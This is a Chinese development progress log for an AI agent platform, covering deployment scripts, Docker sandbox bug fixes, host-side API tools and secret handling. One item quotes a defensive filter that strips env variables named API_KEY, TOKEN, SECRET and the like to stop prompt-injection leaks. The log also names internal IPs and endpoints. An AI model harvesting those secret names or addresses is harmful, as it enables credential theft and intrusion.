126 KiB
实施进度
配合
DESIGN.md。本文件只记 phase 状态、决策偏差、文件量、下一步。每条 1-2 句:做了啥 + 关键判断;细节查git log/git diff/DESIGN §7.9。
最后更新:2026-06-02(修 embed 模式登录页一闪而过 — #login 在 embedInit 标记 embed-mode 前先被绘制,提前到 body 首行同步隐藏)
状态
| Phase | 标题 | 状态 | 备注 |
|---|---|---|---|
| 1-3 | 骨架 + Skill + run_python | ✅ | 多 skill(coding/proposal/ppt/research/documents/imagegen/videogen/review/patent);CoreCoder 唯一匹配 edit;敏感 env 过滤 |
| 4 | 演化性能力 | 🟡 | Model Profile + Probing ✅;版本化 prompt 未做 |
| 5 | Eval Suite | ⏸ 不做 | dogfooding 替代,probe 覆盖健康检查 |
| 6 | 长任务工程化 | 🟡 | task + 恢复 ✅;双层记忆 ✅;context 压缩未做 |
| 7 | 打磨 | ❌ | Docker 沙盒 / 更多 skill |
| §7 SaaS | DESIGN §7 路线 | 🟡 | A 事件流化 ✅;B 完工 ✅;D /v1 JSON API ✅;D' 过渡 auth + dev SPA ✅;单活 run 锁 + cancel ✅;0004 schema 瘦身 ✅;入口归位 ✅;真 OIDC 待;C Step 1-3 + 3d ✅(Executor + Docker 池 + DockerExecutor + fs 工具进容器)+ Step 5 部署前置对账 ✅ + 容器资源 yaml + 应用层磁盘配额(scan+gate)✅ + dogfood 网络放开 + 容器内 pip/npm 源持久化 ✅;Step 4 完整 egress proxy + Step 3b PGID kill 协议延后到外部用户开放前;外部用户开放仍需 egress proxy + xfs project quota OS 层硬化(§7.5 落地清单 #2 #4)。 |
已完成关键能力
2026-06-02
-
resolve_workspace加 env 覆盖ZCBOT_WORKSPACE_DIR(per-host 部署,不碰共用 yaml):prod 想把重写入的workspace/users/落到独立数据盘(1T xfs prjquota,空间 + OS 层配额一步到位),但config/agent.yaml的workspace_dir是 dev/prod 共用提交的,改成绝对路径会带歪 dev。改法:core/agent_builder.py:resolve_workspace优先级改为 显式 arg > envZCBOT_WORKSPACE_DIR> cfgworkspace_dir> 默workspace,env/cfg 值都ROOT / ws(POSIX 上绝对右操作数覆盖左 → 绝对路径直接生效,相对挂 repo 根)。prod systemd 设Environment=ZCBOT_WORKSPACE_DIR=/data/zcbot-workspace,dev 不设照旧。PG 暂不迁(元数据库小,留默认/var/lib/postgresql少坑,等真涨到 30–40G 再说)。对外行为(env 变量)变化 → 更 RUN.md:env 段加ZCBOT_WORKSPACE_DIR、新增「workspace 落独立数据盘」段(整盘 mkfs.xfs + fstab prjquota + rsync 迁移 + systemd env)、故障表加一行。DESIGN 不动(无架构/schema 变化)。 -
修 embed 模式"登录页一闪而过"(绘制时机,非鉴权):
web/static/dev.html的#login默认display:flex且带login-in .35s动画,而加body.embed-mode(→ CSS 隐藏#login)的embedInit()在 body 末尾才跑;单文件 3800+ 行,浏览器常在解析到底部脚本前就先把登录卡画出来 → 闪一下。改法:在<body>第一行加一段同步内联脚本,?embed=1时立即document.body.classList.add("embed-mode"),赶在#login解析/绘制之前隐藏它 → 根本不绘制。只是"绘制闸门",底部embedInit()(postMessage 握手 /embed-waiting覆盖层 / token 分支)完全不动,embed-mode幂等。未提前加embed-waiting(有 stored token 时embedInit走enterApp不移除等待层会卡死,故等待层决定仍留底部按 token 判)。bug 修复,DESIGN 不动;URL 参数/命令/env 无变化,RUN 不动。
2026-06-01
deploy/update.sh加自更新重跑守卫(修"改了源仍报旧错"根因):脚本git pull会改自己 —— 变量默认值在 pull 前已求值、bash 又按字节偏移边读边跑,所以首次拉到"改 update.sh"的提交那一轮,跑的还是旧脚本的过期行为(默认源还是阿里 → litellm 仍报缺版本)。改法:pull 后git diff --quiet OLD NEW -- deploy/update.sh检出本脚本有变更,就exec env ZCBOT_UPDATE_REEXEC=1 bash $0 "${ORIG_ARGS[@]}"用新版本从头重跑(原始参数原样回传,标记防死循环;pull 幂等,重跑里 pull 变 no-op)。纯运维脚本,DESIGN 不动;RUN.md§部署 SOP 加一条要点。deploy/update.sh默认源改腾讯 + build 跳过改--skip-build+ 进度可见:部署 build 报Could not find a version that satisfies the requirement litellm>=1.83.0。根因 = 阿里 PyPI 镜像同步滞后(只到 litellm 1.82.6),而requirements.txt钉>=1.83.0(zai/GLM provider 要);腾讯 / 清华源已到 1.88。三处改:① 默认镜像源(APT/PIP/NPM)由阿里改腾讯(mirrors.cloud.tencent.com),并修 step 2 host venv pip —— 经sudo -u后PIP_INDEX_URLenv 被洗掉,改为脚本显式拼--index-url,不再靠 host pip.conf(否则 host 仍撞阿里缺版本);② 跳过 sandbox build 从 envZCBOT_SKIP_SANDBOX_BUILD=1改为 CLI flag--skip-build(开发期不留 env 别名兼容),顶部while/case解析参数;③ 进度可见 —— step 2 pip 去掉-q让装包进度可见(step 4 docker build 保留默认 TTY 进度 UI,分层折叠刷新更直观)。纯运维脚本,DESIGN 不动;RUN.md§部署 SOP 三条要点改写 + 故障表加 litellm 版本找不到一行 + 最后更新日期刷新。- 修 MP host 工具的全量下载(IP 被封根因):
mp_search_summary之前不给summary.search传分页参数 → mp-api 默认chunk_size=1000且list(docs)自动翻完所有页,limit只在客户端切片,等于每次搜索都整库级下载 → MP 判 abusive traffic 封 host IP/ASN(403 "blocked")。改为search(num_chunks=1, chunk_size=limit, ...),服务端单页限量。mp_get_entries的limit同样是"只裁剪保存、不减网络流量"的假参数,但get_entries_in_chemsys天然全量(相图用途),改不了,只在 description 里点明"拉整个 chemsys、元素越多越重、别反复调"。测试加断言锁定num_chunks/chunk_size已传。注:宿主 IP49.232.14.174当前仍被 MP 临时封(无公开时限、不确认自动解除),需发邮件 support@materialsproject.org 人工解封后才能联网复测。 - 加一键部署脚本
deploy/update.sh(Ubuntu / systemd):把日常部署固化成一把梭 ——git pull --ff-only→pip install -r→db upgrade head→docker buildsandbox 镜像 →systemctl restart zcbot→curl /healthz验活。两处必须钉死的顺序 / 步骤:① migration 不能漏(db/migrations/env.py直读os.environ['ZCBOT_DB_URL']不读 .env,脚本从 .env 抠出来env ZCBOT_DB_URL=...喂进去);② build 必须在 restart 之前 —— sandbox 容器 per-user 长驻复用、tools/是 build 进镜像(非 mount),restart 时pool.shutdown_all清旧容器、下次ensure()才用新zcbot-sandbox:latest重建,顺序反了新 tools/ 要等下次重启才生效。sandbox 每次都 build 无所谓:重活(pip ~1G / chromium / 字体 / mermaid)都在 DockerfileCOPY tools/之上,layer cache 让改代码部署秒过、只有requirements.txt变了才整体重建(~5-10min)。镜像源默认阿里(${VAR-default}不带冒号,显式置空可回落官方源)。前置守卫:非 root / 非 git 仓库 / 工作区脏(已跟踪文件)/ 缺 .env 中止;healthz 15s 不 ok → dump journalctl 非零退出。ZCBOT_SKIP_SANDBOX_BUILD=1跳过 build(host backend 机)。一次性 bootstrap(useradd / 写 unit / enable)不进脚本,留 RUN.md。git 可执行位已置(100755)。纯运维脚本,DESIGN 不动;RUN.md§部署 SOP 重写为指向脚本 + 手动逐条 fallback。 - sandbox 镜像加中文字体,修 matplotlib / mermaid 出图中文方块:用户报绘图(mermaid + matplotlib)出的 PNG 里中文全是豆腐块 □。根因 =
deploy/sandbox/Dockerfile从python:3.12-slim起一个 CJK 字体都没装:matplotlibskills/plot_pub/style.py::_find_chinese_font()扫候选无果退回 Arial/DejaVu;mermaid 经 mmdc→chromium 渲染,chromium 经 fontconfig 也找不到中文字形;skills/ppt/scripts/render_icon.py引用的wqy-microhei.ttc/NotoSansCJK-Regular.ttc路径根本不存在。三处同一病根。改法:① Dockerfile chromium 块后加一层apt-get install fonts-noto-cjk fonts-wqy-microhei fontconfig && fc-cache -f(Noto 出版级 +~330MB,wqy 兜底 +~5MB 且匹配 style.py 现有候选 / render_icon 引用路径);②style.py候选清单首位加"Noto Sans CJK SC"让 matplotlib 优先用 Noto。fontconfig 刷缓存供 chromium 选字;matplotlib 走自家 font_manager 扫/usr/share/fonts运行时首用自动建缓存,无需额外处理。否决仅装 wqy(体积小但黑体不如 Noto 精致,出版图略糙)/ 仅装 Noto(render_icon 第一候选 wqy.ttc 落空走 fallback OK 但不够干净)。纯镜像 + 配置改,DESIGN 不动(无架构 / 取舍 / schema 变化);RUN.md故障表加一行(中文方块 → 重 build 镜像 + 清旧容器 +fc-list :lang=zh验证)。生效:改了 Dockerfile 必须docker build重建 +docker rm -f清旧容器 + restart web,旧容器仍跑老镜像不会自动更新。 - documents / Materials Project secret-bearing 能力改 host-side tools,key 不进 sandbox:新增
tools/documents.py三工具(document_list_kb/document_search/document_download)和tools/materials_project.py三工具(mp_search_summary/mp_get_structure/mp_get_entries),core/agent_builder.py仅在宿主 envDOCUMENT_SEARCH_API_KEY/MP_API_KEY存在时注册。document_download/mp_get_structure/mp_get_entries绑定当前 task_dir 写文件,模型不能传 working_dir;document_search默认截断md_content,避免整篇论文进上下文。同步更新DESIGN.mdsecret-bearing domain tools 规则、RUN.mdenv / 故障兜底、SKILL_LIST.md、skills/documents/SKILL.md、skills/pymatgen/SKILL.md;旧run_pythonhelper 不再是带 key API 主路径。测试tests/test_secret_host_tools.py覆盖 documents search 截断、download 固定 task_dir、MP tool 不泄露 host key。 - 删
skills/pymatgen/materials.py::mp_rester()+scripts/smoke_scientific_skills.py改走 host tool:mp_rester是 sandbox 内读MP_API_KEY的旧入口,host tool 化后多余且违背"key 不进 sandbox",直接删(连带清import os/contextlib.contextmanager,只留CEMENT_PHASES/lookup_phase);smoke A6 / step D 改用MaterialsProjectSearchSummaryTool。实测闭环:初次 step D 真连api.materialsproject.org返 403(工具行为正确,403 干净透传成[Error]不崩),定位为.envlegacy 旧版 key 在新版mp-api失效;换 next-gen materialsproject.org dashboard 长 key 后复测通过(查 Ca3SiO5 返 3 条mp-xxxx+energy_above_hull,~5s),MP host 工具端到端联网通路确认可用。documents 工具未联网实测(无现成可验证调用),逻辑同 web_search 形态。
2026-05-29
- Seedream 5.0 i2i base64 通路 probe + DESIGN §8.1 后续步骤落册:用户场景"调 seedream 出图 → 基于该图二次修改" / "上传外部参考图让 agent 据此干活"两条路径,主模型 DeepSeek V4 纯文本覆盖不了。详评 3 方案后选 E + C 组合(
tools/seedream.py加reference_images参数走 seedream 5.0 i2i + 新增tools/look_at_image.py走豆包 Seed 1.6 vision tool 调度),否决 A(换豆包当主 chat,降 code / tool calling 质量 + 改 loop/memory 工程面 5×)/ B(后台隐式 vision 路由,失 agentic 控制 + 描述质量黑盒 + token 浪费)。写探针scripts/probe_seedream_i2i.py实测:豆包 Seedream 5.0(doubao-seedream-5-0-260128)/images/generationsendpoint 接受image_urls=["data:image/png;base64,..."],200 返回新图 TOS URL +usage.generated_images=1(约束:输出size≥3686400 像素 / ~1920²,单张参考 ≤10MB,最多 14 张);base64 通路成立 → 内网部署无需对象存储中介,排除最大工程不确定性。E+C 实施清单 / 风险 / 升级到 A 的信号已落 DESIGN §8.1,本版仅 probe + design,tool 与 prompt 改造未启动。 - web 端 tool_call 标题行改显中文活动描述(
dev.html):用户反馈 web 端工具调用只显示工具调用:run_python/shell等工具名,看不出"在干啥"。根因有个真 bug:dev.html实时流分支(tool_call)读ev.data.arguments,但后端core/loop.py::_execute_tool_callemit 的字段叫args(已解析 dict)+args_preview(截 200 字),字段名对不上 → 前端拿到的永远是空串,<pre>是空的、连带extractArtifactRels(argsStr,...)也抽不到产物路径。改法:① 新增toolActivityLabel(name, args)helper(挨着_workingDirName),按 12 个工具的"关键代表参数"套中文动词 + 截断值:read/write/edit→读取/写入/编辑文件: {path}、glob→查找文件: {pattern}、grep→搜索内容: {pattern}、shell→执行命令: {command}、run_python→运行 Python: {code}、web_fetch→抓取网页: {url}、web_search→联网搜索: {query}、load_skill→加载技能: {name}、seedream/seedance→生成图像/视频: {prompt},未知工具回退到name {JSON截断}或工具调用: name;clip 把空白压一行 + 超长加…。② 实时流分支ev.data.arguments→ev.data.args(修字段 bug)并把<summary>文案换成 label。③ 历史消息回放分支(p.tool_calls,LiteLLM 格式tc.function.arguments是 JSON 字符串)同步:先JSON.parse成argsObj再生成 label,保持实时 / 历史一致。完整参数仍在折叠<pre>里,展开可看。选型:用前端静态模板(零成本 / 不走模型 / 立即生效),否决"让模型每次调用前产出一句中文意图"(改 prompt + 每调用烧 token + 依赖模型配合)。纯前端改,DESIGN.md/RUN.md/SKILL_LIST.md不动(无架构 / CLI / env / skill 变化)。生效:刷新 web 页面即可,无需重启后端。 - 删
_exec_shell/_exec_pythonargv 里的setsid修 docker exec 延迟 stdout 丢失:上一条_run_subprocess重写后用户实测 LLM 拿cement energy efficiency跑 paper_server 检索仍返空[exit 0]8 字符,且print(f"共命中 {len(papers)} 条结果\n")这种必有输出的代码也丢。根因 =setsid,不是_run_subprocess的 poll loop(上一条修对了一个独立的 bug,但不是用户当下症状的元凶)。实证差异:docker exec ... setsid python -c "import time; time.sleep(2); print('hello')"等满 2.06s 但输出空;同条件去掉 setsiddocker exec ... python -c "..."等满 2.08s + 输出hello。setsid调setsid()syscall 把进程变 new session leader without controlling terminal 之后 execvp(python),docker exec / runc 的 stdio attach 对"调用方变 session leader"敏感(具体哪一层没深挖到 runc 源码,经验上 docker exec + setsid + 延迟输出 = stdout 数据被截断,业界踩过的坑)。短输出(print('hello')瞬时完成)能在窗口内漏出去,延迟输出(search()等 httpx 1-2s)就全丢 —— 完美解释为什么 LLM 简单print(version)测试时部分输出能回但真业务调用全空。为什么之前 host 侧docker exec ... python -c "from skills.research.paper import search; ..."2.94s 拿 10 条成功:那条没有 setsid,docker exec 等的就是 python 本身,3s 全程都阻塞读 stdout 不会丢。setsid历史上是 §7.5 Stage C Step 3b PGID kill 协议铺路用的(PROGRESS 上有"延后到外部用户开放前"这条 work item),协议没实现的当下 setsid 是空头载荷 + 副作用。改法:core/executor_docker.py:141和:177各删 1 行的"setsid",argv 形态变docker exec ... <container> bash -c <cmd>/... python <script>。否决:(a)setsid --wait <prog>—— 强制 setsid 等子退 + 透传 exit code,但需要 util-linux 2.32+ 且增加一层依赖;PGID kill 协议没做的当下没必要;(b) 包一层自己写的 wait wrapper —— 同上,过度工程;(c) 改 docker exec 加-t强制 tty —— 引入 \r\n 转换 + 影响输出清晰度,非生产做法。测试(tests/test_executor_docker.py):① 更新test_shell_invokes_docker_exec断言argv[container_idx+1:] == ["bash", "-c", "echo hello"](原["setsid", "bash", "-c", ...]);② 更新test_run_python_tmp_script删argv[-3] == "setsid"断言;③ 新加test_run_subprocess_delayed_output_not_lost:sys.executable, "-c", "import time; time.sleep(1); print('LATE')"真子进程跑,断 LATE 在 stdout 里 +[exit 0](Windows skip);④ 新加test_argv_does_not_contain_setsid:patch Popen 抓两次 call(shell + run_python)的 argv,断"setsid" not in argv防回潮。全套 19/19 PASS(老 17 + 2 新)。未来加 PGID kill 协议时:不能裸 setsid 回潮 ——test_argv_does_not_contain_setsid会挂,会强制实现者去查 PROGRESS 这条把 setsid 用对(setsid --wait或 wrapper)。部署生效:git pull && systemctl restart zcbot,sandbox 容器不用 rm。经验值更新:这次诊断走了弯路 —— 上一条_run_subprocess重写虽然修了一个真 bug(communicate poll loop 违反 API + bash block-buffered chunk 丢),但不是用户当下症状的元凶,setsid 才是。两个 bug 都贡献"8 字符[exit 0]"的部分场景:poll loop 影响多 chunk 输出收集,setsid 影响延迟输出收集,各自独立,都得修。DESIGN.md不动(纯实现 bug 修,§7.5 Step 3b PGID kill 协议状态没变,只是落实时改用setsid --wait而非裸 setsid,这是个实现细节不是架构变化);RUN.md不动;SKILL_LIST.md不动。 core/executor_docker.py::_run_subprocess重写修 docker exec stdout 多 chunk 静默丢失 bug:用户实测 LLM 在容器里调from skills.research.paper import search/shell echo "test"; ...; echo "done"拿到空[exit 0]8 字符,而 host 侧docker exec ... python -c "from skills.research.paper import search; r=search(...)"同 query 2.94s 拿 10 条切题结果 —— 网络 / DNS / paper_server / helper / httpx 全清白,问题在 tool wrapper 自己。根因:旧实现while True: try: proc.communicate(input=stdin, timeout=0.5) except TimeoutExpired: ...在 poll loop 里反复调communicate(),违反subprocessAPI 假设(communicate文档明说 "should be called only once") + 配合setsid bash -c "..."的 block-buffered stdout(pipe 而非 tty 触发 4K block buffering)在多 chunk 输出时序下 chunk 静默丢失。具体路径:echo "test"第一个 token 几乎 buffer 还没装就到setsid bash收尾 flush 那一刻被读到 ;timeout 3 python3 ...子进程 + 后续echo "done"走的是 setsid 子会话的二级 buffer,communicate 在 0.5s 轮询窗口里要么完全读不到要么读半截,内部self._fileobj2output状态在反复 TO 后某些 Python 版本下不连续。重写实现(D 候选,4 候选里选最小补丁):① 入口 inline 查一次cancel_check,True 立即返不起 Popen(同步快路径 + 消除单测 race);② 单次proc.communicate(input=stdin, timeout=timeout),违反 API 的 poll loop 彻底删;③ cancel 检查移到侧 daemon 线程,周期_CANCEL_POLL_INTERVAL_S=0.2(模块常量,单测 patch 0.02 加速)pollcancel_check,命中即cancel_hit.set() + proc.kill();④ TimeoutExpired 分支kill + 二次 communicate()走self._fileobj2output续读累积 chunks 不丢已读;⑤ cancel 优先于 timeout(canceller 设了 hit 即使 communicate 也抛 TO 时优先返 cancelled)。否决:(A) 2 reader 线程裸 drain stdout/stderr.read() —— ~40 行,可选但 D 最小;(B)selectors.PollSelector非阻塞 read —— ~50 行,Windows caveat(咱们 Linux 部署不踩,但代码上多一层平台分支);(C) 整链路 sync→async —— 大手术,不值。回归测试(tests/test_executor_docker.py):①test_shell_cancel拆test_shell_cancel_inline_fastpath(入口快路径,Popen 不起)+test_shell_cancel_via_canceller_thread(cancel_check 第 1 次 False 让 inline 放行第 2 次起 True 让侧线程触发,threading.Event 同步 mock kill);② 新加test_run_subprocess_collects_multi_chunk_output起真子进程bash -c 'echo A; sleep 0.6; echo B; sleep 0.6; echo C'断 A/B/C 全在结果里(Windows skip,Linux CI/部署跑),这条 case 在旧实现下必挂、新实现必过 —— 直接锁死本 bug 回归;③test_shell_timeout/test_fs_tool_timeout移除已死的time.monotonicpatch(新代码不用 time.monotonic 跟踪 elapsed,改靠communicate(timeout=N)自带累计)。结果 17/17 PASS(老 15 + 拆 1 加 2 = 17,multi-chunk 那条 Windows skip 计入)。部署生效:重启 web 进程 + 老 sandbox 容器无需 rm(代码改在 host 侧 executor,容器本身行为不变,新请求进 new wrapper 即用)。行为变化:cancel 响应延迟 ~500ms → ~200ms(侧线程 wait 0.2s 改善);timeout 错误文案不变;线程开销 per call 多 1 个 daemon thread 只在cancel_check is not None时起,忽略不计。DESIGN.md不动(无架构变化,纯实现 bug 修;§7.5 Stage C Step 3b "PGID kill 协议" 跟本 bug 正交,该 work item 延后到外部用户开放前的状态没变);RUN.md不动(无 CLI / env / 文件布局变化);SKILL_LIST.md不动(skill 列表无变化)。- 3 个 SKILL.md 校准 sandbox 下外部凭证可用性:用户实测 LLM 报 documents 缺
DOCUMENT_SEARCH_API_KEY,追到tools/run_python.py::_SENSITIVE_PATTERNS = ("API_KEY", "TOKEN", "SECRET", "PASSWORD", "PRIVATE_KEY")在 subprocess 起前删所有名含这些字面的 host env —— 设计是挡 prompt 注入print(os.environ)抽 ARK / JWT_SECRET 等(JWT_SECRET 一旦露=任意身份伪造),误伤了 skill 端从 env 读 key 的pymatgen.materials.mp_rester()和skills.documents.client._api_key()(docker backend 下 host env 根本不入容器,问题更彻底)。连带发现:researchSKILL.md 排版跟两者太像(都"准备段写 import + env 说明"),LLM 看 documents 失败类推也放弃 research —— 可research/paper.py:10PAPER_SERVER_URL是 URL 有默认值http://paper.xxhhcty.xyz:8080、过滤器根本不碰;被用户逼试又用urllib.request钻反模式行 128 只禁httpx/requests的字面空子,跳过 helper 后 SKILL.md 教的 search filter / 中文转英文术语全丢,search=cement+based字符级模糊匹配返 6809 条横跨无人机 / 锂电池 / 热界面 LLM 还以为搜对了。改 3 个 SKILL.md:①pymatgenH1 后插 WARNING,明示 mp 联网不可用 + 列离线 5 能力(Structure.from_file/SpacegroupAnalyzer/XRDCalculator/CEMENT_PHASES/ VASP 输入)+ 禁脑补晶格;②documentsH1 后插 WARNING,标整体不可用 + 降级到 research / 用户自导出;③research在 "准备"段后加一段 callout 明示不持 secret + sandbox 任何模式都能用 + documents 不可用时是降级首选,反模式行 128 扩成"任何 HTTP 客户端(httpx/requests/urllib/aiohttp/curl)裸调"并说清裸调代价(SKILL.md 教学全丢)。SKILL_LIST.md速览表 documents / pymatgen 加 ⚠️ 状态标 + 最后更新 2026-05-29;RUN.mdenv 段DOCUMENT_SEARCH_API_KEY/MP_API_KEY行下加 ⚠️ 注脚说 sandbox 被过滤器拦。架构方向(下轮做):不取消过滤器(会把 ARK / JWT_SECRET / BOCHA / ZCBOT_ADMIN_TOKEN 全暴露,prompt 注入面爆开),不为每 service 包 host tool(线性增长 + 拆 query / 后处理割裂 LLM 体验),走业界 2025-2026 主流的 credential broker / credential proxy(Infisical Agent Vault / NVIDIA agentic workflow 指南推):一个外发代理持所有 key,sandbox 出站 HTTP 经它按目标域名 / URL 前缀注入 auth header,新增 service 加一行 broker 配置即可,key 永不入 sandbox + prompt 注入抗性同 host tool 方案,代价是 ~100 行 fastapi 小服务 + Dockerfile env 加MP_BASE_URL=http://broker:8080/mp这类 URL(URL 不是 secret,过滤器不碰)。两种落地形态:A forward proxy (HTTPS_PROXY,需自签 CA 装容器) / B URL-rewriting reverse proxy(broker 暴露/mp/*/docs/*路由,skill 改 BASE_URL,不用 MITM)—— 倾向 B,工程量更小。DESIGN.md本轮不动 —— broker 实际落地时再加 §7.X "外部凭证代理范式"段,避免 DESIGN 描述未实现内容。
2026-05-28
skills/review/SKILL.md加"长文档处理"段(骨架扫描 + 用户挑章节深审 + 中间文件落盘):用户报实际审稿场景里"有些文件很多页",现 SKILL.md 的"审稿顺序"只讲做什么维度(结构/语义/逻辑/表达/细节),不讲长文怎么切 —— 一篇 50 页报告塞一轮处理,中段易略读、修改稿覆盖不全、跨章一致性问题漏掉、易超输出限制。新加## 长文档处理段插在"审稿顺序"和"输出格式"之间:阶段 1 骨架扫描 —— 通读全文只出章节目录 + 全局问题(主旨/论证链/跨章一致性/结构)+ 每章一句话粗读印象,不出修改稿,带专用输出模板,结束后停下等用户挑章节;阶段 2 分段深审 —— 用户指定后按"审稿顺序"做完整深审,每段独立避免数十页润色稿一把吐,允许多轮每轮 1-3 章;中间文件落盘 —— Claude 自主判断要不要写,典型三类(骨架review-outline.md/ 分章review-<编号>-<短标题>.md/ 合并稿<原文>.revised.<扩展名>),默认原文同目录,只读位置或路径不明放 cwd,要求"写完同时给文件路径 + 关键摘要"避免只丢路径不汇报。"输出格式"段开头加交叉引用提醒长文先看新段不要直接套常规模板。否决:(a) 全自动逐段(不让用户挑) —— 长文里大部分章节其实没大问题,逐段精修浪费 token + 把跨章问题切散;(b) 单轮两遍法(pass 1 全局 + pass 2 局部) —— 仍是一把梭,输出超限风险一样;(c) 硬编码字数 / 页数门槛 —— 给"约 5000 字 / 8 页 / ≥4 章节"作启发标记 + 列出典型长稿类型(申报书/报告/学位论文/标书/蓝皮书),让 LLM 综合判断更稳。DESIGN.md不动(纯 skill 内部流程,无架构变化);RUN.md不动(无 CLI / env / 文件布局变化)。- 新增
config/models/local.yaml(family=local,variantr1/qwen3)接内网 OpenAI 兼容推理服务,涉密任务专用:用户报建材院有些科研 / 立项 / 配方任务不能上公网模型(数据敏感),内部已部署 DeepSeek-R1(满血,调试中)+ Qwen3-30B-A3B(MoE)在http://182.54.21.126:9000/v1(OpenAI 兼容,共享同一 key)。yaml 两个 variantmodel_id写openai/DeepSeek-R1/openai/Qwen3-30B-A3B(litellm provider 前缀openai/,后段透传给 base_url),api_base指内网 IP,api_key_env同填LOCAL_LLM_API_KEY。上下文取舍:R1 满血官方 128K →max_context=131072 / reliable=65536;Qwen3-30B-A3B 原生 32K →max=32768 / reliable=16384,reliable 给一半跟 deepseek_v4 / glm 档案比例一致。thinking_mode=false是关键:R1 / Qwen3 是天生推理模型默认就思考(响应里带<think>标签),不通过 OpenAI / DeepSeek V4 的reasoning_effort等级控制 — 设 true 会发 reasoning_effort 字段,本地 vLLM / sglang 多半不认报 400。tool_calling_quality=fair标注 R1 / Qwen3 tool use 弱于 V4 / GLM(routing 层用到的话会避开,目前只是文档标记)。optimal_temperature=0.6按用户给的值。.env加LOCAL_LLM_API_KEY(用户已填实际值);RUN.mdenv 段同步加说明 + probe 命令两行(local.r1/local.qwen3)+ 最后更新日期改 2026-05-28。初次连通性测试:local.qwen3跑通(15s,prompt=13 / completion=363,响应带<think>推理段);local.r1当前 InternalServerError 500(服务器侧还在调试,非 yaml 问题)。第二个 variant 原本写Qwen/QwQ-32B,实测服务端返回model=Qwen3-30B-A3B→ 改 model_id + display_name 对齐真实部署的 MoE 模型(Qwen3 系列 30B 总参 / 3B 激活,2025 阿里新出),variant keyqwq→qwen3跟着改。不改agent.yaml默认模型(default_model仍deepseek_v4.flash),涉密任务用户显式选;未写"敏感任务自动路由本地模型"逻辑 — 当前没 sensitivity 标记机制,加是大改,先按显式选,要不要自动路由后面再说。否决:(a) family 叫private/intranet—local更短且语义对齐(本地推理服务);(b)model_id不加openai/前缀 — litellm 不知走 OpenAI 兼容协议会按 model 名猜 provider 必跪;(c) reasoning_effort_levels 给 ["low","medium","high"] — 跟 thinking_mode=false 配相互矛盾,留空更干净;(d) 默 default_model 切到 local.r1 — R1 推理慢、tool calling 弱、且公网模型多数场景代价 / 质量更好,涉密是少数;(e) 在config/media/加同名 file — local 是 chat LLM 不是媒体生成,放config/models/才对。DESIGN.md不动(新加 model 档案无架构变化)。 - 修
LoadSkillTool在 docker backend 下返回 host 绝对路径导致容器内 fs 工具找不到 references 的 bug:实测部署机 dogfoodanalyzeskill 时,LLM 调load_skill('analyze')拿到 header[skill=analyze, dir=/home/lighthouse/zcbot/skills/analyze],照 SKILL.md 教学拼<skill_dir>/references/pico_template.md给read→"file not found"。根因:core/executor_docker.py设计上 fs/shell/run_python 全走docker exec进容器(行 56-60CONTAINER_TOOLS),skills/ bind mount 到容器内/sandbox/skills:ro(core/sandbox/pool.py:227-229)—— 容器 namespace 里没有 host 路径(/home/lighthouse/zcbot/...不存在),只有/sandbox/skills/analyze。LoadSkillTool跑在 host agent 进程里,塞给 LLM 的dir=...一直是 host 绝对路径,docker backend 下 LLM 用这条路径调容器内 read/glob/grep 必抓瞎。为什么没早暴露:proposal/research/ppt 这些 references-heavy skill 历史多在 host backend(开发期)跑通,docker backend 是部署期才打开;且 LLM 经常就着 SKILL.md 本体直接干活不去 read references,踩到的人不多;analyze 拆成 5 references 强制 read,首次集中暴露。修法(A 候选,user 选):LoadSkillTool加container_skills_dir: Optional[str]构造参数,有值时返回头dir=<container_skills_dir>/<skill_name>(去重末尾斜杠),无值保持原 host 绝对路径。agent_builder.py:392-405在装 LoadSkillTool 时复用select_executor同款 env 判断(os.getenv("ZCBOT_SANDBOX_BACKEND")=="docker"),为 True 时传"/sandbox/skills"(与 pool.py mount target 一致)。tests/test_load_skill.py4 case 锁住:host backend host 路径 / docker backend/sandbox/skills/<name>/ 末尾斜杠拼接不双斜杠 / 未知 skill 报错走原路径。全套 4/4 PASS +tests/test_executor_docker.py15/15 PASS 回归无破。结构性收益:所有现存 skill(proposal/ppt/research/coding/pymatgen/stats_ml/plot_pub/...)references 在 docker backend 下自动 work,不用一个个改 SKILL.md 教 LLM 用容器路径(那会破 host backend 开发环境)。部署后操作:部署机需git pull拉这条 commit + 重启 agent 进程让新代码生效(skill 注册表已经是每请求重建 §c4229be,但 LoadSkillTool 实例化在 build_agent 里,需要新进程或新连接才能拿到带 container_skills_dir 的实例)。否决:(b) bind mount host 路径到容器同样位置 —— 容器路径跟 host 强耦合,部署路径换地方就跪;(c) 改全部 SKILL.md 让 LLM 用/sandbox/skills/...—— 散点改易漏,且 host backend 下/sandbox不存在,反破 dev 环境。DESIGN.md不动(无架构变化,纯实现修);RUN.md不动(无 CLI / env 变化)。 - 新增
analyzeskill(科学问题分析 / 拆解 / 引导),服务建材院 R&D 早期问题翻译场景:用户拿"模糊的高层科研问题"(典型句式"想搞清楚 X 原因 / 怎么提升 Y / 该不该做 Z")过来时,既不是写本子(proposal)/也不是查文献(research)/也不是建模(stats_ml),而是问题还在概念阶段需要先想清楚——之前 10 个 skill 没人接这个场景,模型只能凭直觉糊弄。本 skill 定位为"协调器 / 问题翻译器",不执行任务,只把模糊命题拆成可操作子问题 + 实施路线图,最终接力给下游 skill。四段式工作流:① PICO/PECO 规范化(P 对象 / I 干预 / C 对照 / O 量化输出 + FINER 五维自检)—— 卡 BLOCKING;② Issue Tree 拆解(MECE 原则,默认"机理-现象-工艺"三层,叶子节点标[类型 / 优先级 / 能力描述])—— 卡 BLOCKING;③ 按叶子类型分支深化:根因型走 Fishbone(六大支:材料/工艺/设备/检测/环境/人员)+ 5Whys、创新型走 First-principles 拆假设 + TRIZ 矛盾矩阵(摘 10 对建材常见冲突),优化型走 DoE 选型导航(PB/全因子/CCD/Box-Behnken/混料/序贯);④ 实施路线图 + TODO + 接力建议(analysis.md§6 每步四件事:干什么 / 能力描述 / 产物 / 判停条件)。文件结构:skills/analyze/SKILL.md(121 行)+ 5 份 references(78-95 行,按需 always read 或分支 read)+ 1 份templates/analysis_report.md(87 行 = 最终analysis.md骨架),共 7 文件 657 行。关键决策:(a) 不硬编码"叶子能力 → skill 名"映射表 —— runtime 的 skill discovery 已经把所有 skill description 注入 prompt(DESIGN §3.5),硬编码等于重复 + 改名要回来改;改用"能力描述"(动词短语)让 LLM 按当时看到的 skill 清单自匹配;(b) 触发 description 双重防护 —— A 写死"还在想方向 / 不知道从哪入手"触发条件 + 显式列出何时不用(proposal/research/stats_ml/review 走对应 skill),B 在 §输出末尾推荐"下一步用 X 能力推进",前者拦"路由进"后者拦"路由出"卡死;(c) 不需要 Python helper —— 全引导式对话 